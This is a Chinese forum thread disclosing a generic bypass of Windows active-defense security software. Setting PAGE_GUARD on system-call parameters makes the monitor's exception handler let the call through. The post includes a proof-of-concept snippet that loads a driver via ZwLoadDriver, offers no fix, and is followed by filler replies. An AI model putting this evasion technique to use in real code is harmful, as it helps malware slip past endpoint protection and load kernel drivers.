查看: 2875|回复: 25

主动防御类软件的通用实现漏洞

[复制链接]
发表于 2012-12-1 05:32:34 | 显示全部楼层 |阅读模式
主动防御类软件在实现上存在一个通用的漏洞,恶意软件可以借此绕过安全检查执行恶意行为
主防会拦截系统的一些关键操作,在这些监控点上做参数检查。因为参数往往来自用户态,所以参数检查的过程是在一个__try里面,防止访问违规造成crash。一般的模式类似如下:

bool bPass = true;

__try
{
    bPass = check_paramters(p1,p2,p3);  // p为参数   
}
__except(1)
{
    bPass = true;
}

return (bPass ? status_success : status_access_denied);

上面只是伪代码,意思是对参数进行检查,如果发现有恶意行为,那么返回拒绝,不允许执行。(实际远比这复杂,对参数会经过很多策略检查。结果也不是直接返回,有可能弹框由用户决策)。问题在于,如果访问参数的时候出现异常,那么后续的处理只好放过这个行为。问题就在这里,如果可以让主防访问参数出现异常,但是系统实际使用参数的时候却可以正常,那么主防的检查就被绕过了。这不是不可能,否则就不是漏洞!windows在内存管理上有个独特的地方,叫做PAGE_GUARD。对一段内存空间设置PAGE_GUARD属性后,对这部分内存的首次访问就会出现异常,后续访问则正常。所以,通过利用这个机制,加上对安全软件的检测和试验,上述的漏洞就可以很好的被利用了。
漏洞证明:
pStr = (PUNICODE_STRING)VirtualAlloc(NULL,PAGE_SIZE,MEM_COMMIT,PAGE_READWRITE);
if(!pStr)
{
_tprintf(_T("Alloc Str Failed\n"));
goto __Cleanup;
}
pStr->Length = (USHORT)(wcslen(SERVICE_PATH) * sizeof(WCHAR));
pStr->MaximumLength = pStr->Length + sizeof(WCHAR);
pStr->Buffer = (PWSTR)(pStr + 1);
wcscpy_s(pStr->Buffer,pStr->MaximumLength / sizeof(WCHAR),p);
//STATUS_SUCCESS
if(!VirtualProtect(pStr,PAGE_SIZE,PAGE_READWRITE | PAGE_GUARD,&dwOldProt))
{
_tprintf(_T("VirtualProtect Failed\n"));
goto __Cleanup;
}

if((status = ZwLoadDriver(pStr)) != 0)
{
_tprintf(_T("ZwLoadDriver Failed status = %x\n"),status);
goto __Cleanup;
}

_tprintf(_T("ZwLoadDriver Successfully\n"));


修复方案:

自己研究...

感谢 newtongao 和 garymao
[/td][/tr]
[/table]
aaklp 该用户已被删除
发表于 2012-12-2 03:10:38 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-12-5 19:30:40 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-10-26 07:15:12 | 显示全部楼层
谢谢楼主啊!
发表于 2014-11-5 14:15:10 | 显示全部楼层
都是那么过来的  
发表于 2014-11-18 07:24:45 | 显示全部楼层
一个个全都骑到老大头上来了...  
发表于 2014-12-5 20:38:44 | 显示全部楼层
真的有么  
发表于 2014-12-29 03:30:30 | 显示全部楼层
帮你项项吧  
发表于 2015-1-29 00:05:11 | 显示全部楼层
要相信自己~智商为0  
发表于 2015-3-2 23:51:45 | 显示全部楼层
帮你项项吧  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则